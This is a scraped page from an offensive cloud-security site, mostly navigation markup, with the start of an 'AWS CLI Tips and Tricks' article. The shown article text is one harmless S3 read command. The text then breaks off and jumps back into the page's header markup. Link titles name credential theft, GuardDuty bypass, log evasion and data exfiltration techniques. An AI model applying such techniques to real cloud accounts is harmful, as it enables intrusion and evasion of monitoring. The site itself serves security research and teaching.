class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#standard-inputoutput-redirection-with- class=md-nav__link> <span class=md-ellipsis> Standard Input/Output Redirection with "-" </span> </a> <nav class=md-nav aria-label="Standard Input/Output Redirection with " -&quot;&quot;> <ul class=md-nav__list> <li class=md-nav__item> <a href=#reading-from-s3 class=md-nav__link> <span class=md-ellipsis> Reading from S3 </span> </a> </li> <li class=md-nav__item> <a href=#writing-to-s3 class=md-nav__link> <span class=md-ellipsis> Writing to S3 </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#modifying-the-cloudtrail-log-user-agent-with-aws_execution_env class=md-nav__link> <span class=md-ellipsis> Modifying the CloudTrail Log User-Agent with AWS_EXECUTION_ENV </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/aws_cli_tips_and_tricks.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=aws-cli-tips-and-tricks>AWS CLI Tips and Tricks<a class=headerlink href=#aws-cli-tips-and-tricks title="Permanent link">&para;</a></h1> <h2 id=standard-inputoutput-redirection-with->Standard Input/Output Redirection with "-"<a class=headerlink href=#standard-inputoutput-redirection-with- title="Permanent link">&para;</a></h2> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>The following examples have been tested in <a href=https://www.gnu.org/software/bash/ >bash</a> and <a href=https://zsh.sourceforge.io/ >zsh</a>. Functionality may vary in other shells. If you find these commands work in additional environments, please open a pull request to update this note.</p> </div> <p>When working in an AWS environment, you may frequently need to view the contents of objects stored in S3. The traditional approach involves a two-step process: using <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/cp.html>s3:cp</a> to download the file to your local machine, then using <code>cat</code> or a similar tool to view it. While effective, this method can clutter your local system with temporary files and may be slower than necessary.</p> <p>Fortunately, the AWS CLI allows us to simplify this process by using the <code>-</code> <a href=https://www.baeldung.com/linux/dash-in-command-line-parameters>character</a> which represents standard input/output (STDIN/STDOUT). Using <code>-</code>, you can read or write file content directly from or to S3 without creating local copies.</p> <h3 id=reading-from-s3>Reading from S3<a class=headerlink href=#reading-from-s3 title="Permanent link">&para;</a></h3> <p>To read the contents of an object stored in S3 without having to download it first, use the following command:</p> <div class=highlight><pre><span></span><code>aws<span class=w> </span>s3<span class=w> </span>cp<span class=w> </span>s3://bucket-name/object-key<span class=w> </span>-
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#aws-cli-tips-and-tricks class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=./ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li 